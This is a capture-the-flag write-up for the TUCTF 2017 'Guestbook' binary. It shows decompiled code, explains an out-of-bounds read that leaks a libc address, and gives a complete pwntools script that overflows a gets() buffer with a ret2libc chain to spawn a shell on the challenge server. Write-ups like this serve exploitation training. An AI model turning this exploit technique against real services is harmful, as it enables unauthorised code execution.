TUCTF 2017: Guestbook (250)
We are given an ELF executable file, guestbook
and a service for the executable. Our goal is
to spawn a shell from the service. Decompiling guestbook
with IDA will yield this C pseudo-code:
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [sp+0h] [bp-98h]@16
int v5; // [sp+64h] [bp-34h]@11
int v6; // [sp+68h] [bp-30h]@7
char *dest[4]; // [sp+6Ch] [bp-2Ch]@2
char v8; // [sp+7Fh] [bp-19h]@5
int (**v9)(const char *); // [sp+80h] [bp-18h]@4
char **v10; // [sp+84h] [bp-14h]@4
char *v11; // [sp+88h] [bp-10h]@2
char v12; // [sp+8Fh] [bp-9h]@4
int i; // [sp+90h] [bp-8h]@1
setvbuf(stdout, 0, 2, 0x14u);
puts("Please setup your guest book:");
for ( i = 0; i <= 3; ++i )
{
printf("Name for guest: #%d\n>>>", i);
v11 = (char *)malloc(0xFu);
__isoc99_scanf("%15s", v11);
v11[14] = 0;
dest[i] = v11;
}
v10 = dest;
v9 = &system;
v12 = 1;
while ( v12 )
{
do
v8 = getchar();
while ( v8 != 10 && v8 != -1 );
puts("---------------------------");
puts("1: View name");
puts("2: Change name");
puts("3. Quit");
printf(">>");
v6 = 0;
__isoc99_scanf("%d", &v6);
switch ( v6 )
{
case 2:
printf("Which entry do you want to change?\n>>>");
v5 = -1;
__isoc99_scanf("%d", &v5);
if ( v5 >= 0 )
{
printf("Enter the name of the new guest.\n>>>");
do
v8 = getchar();
while ( v8 != 10 && v8 != -1 );
gets(&s);
strcpy(dest[v5], &s);
}
else
{
puts("Enter a valid number");
}
break;
case 3:
v12 = 0;
break;
case 1:
readName((int)dest);
break;
default:
puts("Not a valid option. Try again");
break;
}
}
return 0;
}
The gets
function is pretty tempting to exploit. Unfortunately, we're not given a function to
print flag, so we can only solve this with ret2libc. This means we'll need to leak libc base
address to pwn this binary. We'll use readName function to do this. Here's the readName function
after we decompile it with IDA:
int __cdecl readName(int a1)
{
int result; // eax@2
int v2; // [sp+0h] [bp-8h]@1
printf("Which entry do you want to view?\n>>>");
v2 = -1;
__isoc99_scanf("%d", &v2);
if ( v2 >= 0 )
result = puts(*(const char **)(4 * v2 + a1));
else
result = puts("Enter a valid number");
return result;
}
Leaking the libc base address can be done by calling readName and give 6
as input. This will
make puts to write the content of the address pointed by v10
, which is pointing to dest
.
Since dest
is an array filled with malloc'ed address, it will continue to leak the system
address on v9
. This is possible because the binary is 32-bit and malloc'ed address in 32-bit
generally doesn't have any 0x00 byte (unless you're super unlucky).
After we got the system address, we can create the ROP and get the shell. Here's the script to get the shell:
from pwn import *
def debug(p):
util.proc.wait_for_debugger(util.proc.pidof(p)[0])
# p = process('./guestbook')
p = remote('guestbook.tuctf.com', 4545)
p.sendline('a')
p.sendline('b')
p.sendline('c')
p.sendline('d')
p.sendline('1')
p.sendline('6')
p.recvuntil('view?\n>>>')
p.recvline()
system_addr = unpack(p.recvline()[:4])
bin_sh_addr = system_addr + 0x15f551 - 0x3e3e0
print(hex(system_addr))
print(hex(bin_sh_addr))
# debug(p)
rop = pack(system_addr) + pack(0x41414141) + pack(bin_sh_addr)
payload = 'A' * 0x2c + pack(0x41414141) + rop
p.sendline('2')
p.sendline('6')
p.sendline(payload)
p.sendline('')
p.sendline('3')
p.interactive()
Flag is: TUCTF{k33p_17_up_k1d}
P.S. Here I used /bin/sh
string found in libc, which can be computed by getting the libc with
the md5 provided from the challenge and then calculate it relative to system
address that we
found. You should be able to do it by giving one of the guest name to /bin/sh
and then give
the address to system
. The address can be found when we leak libc base address.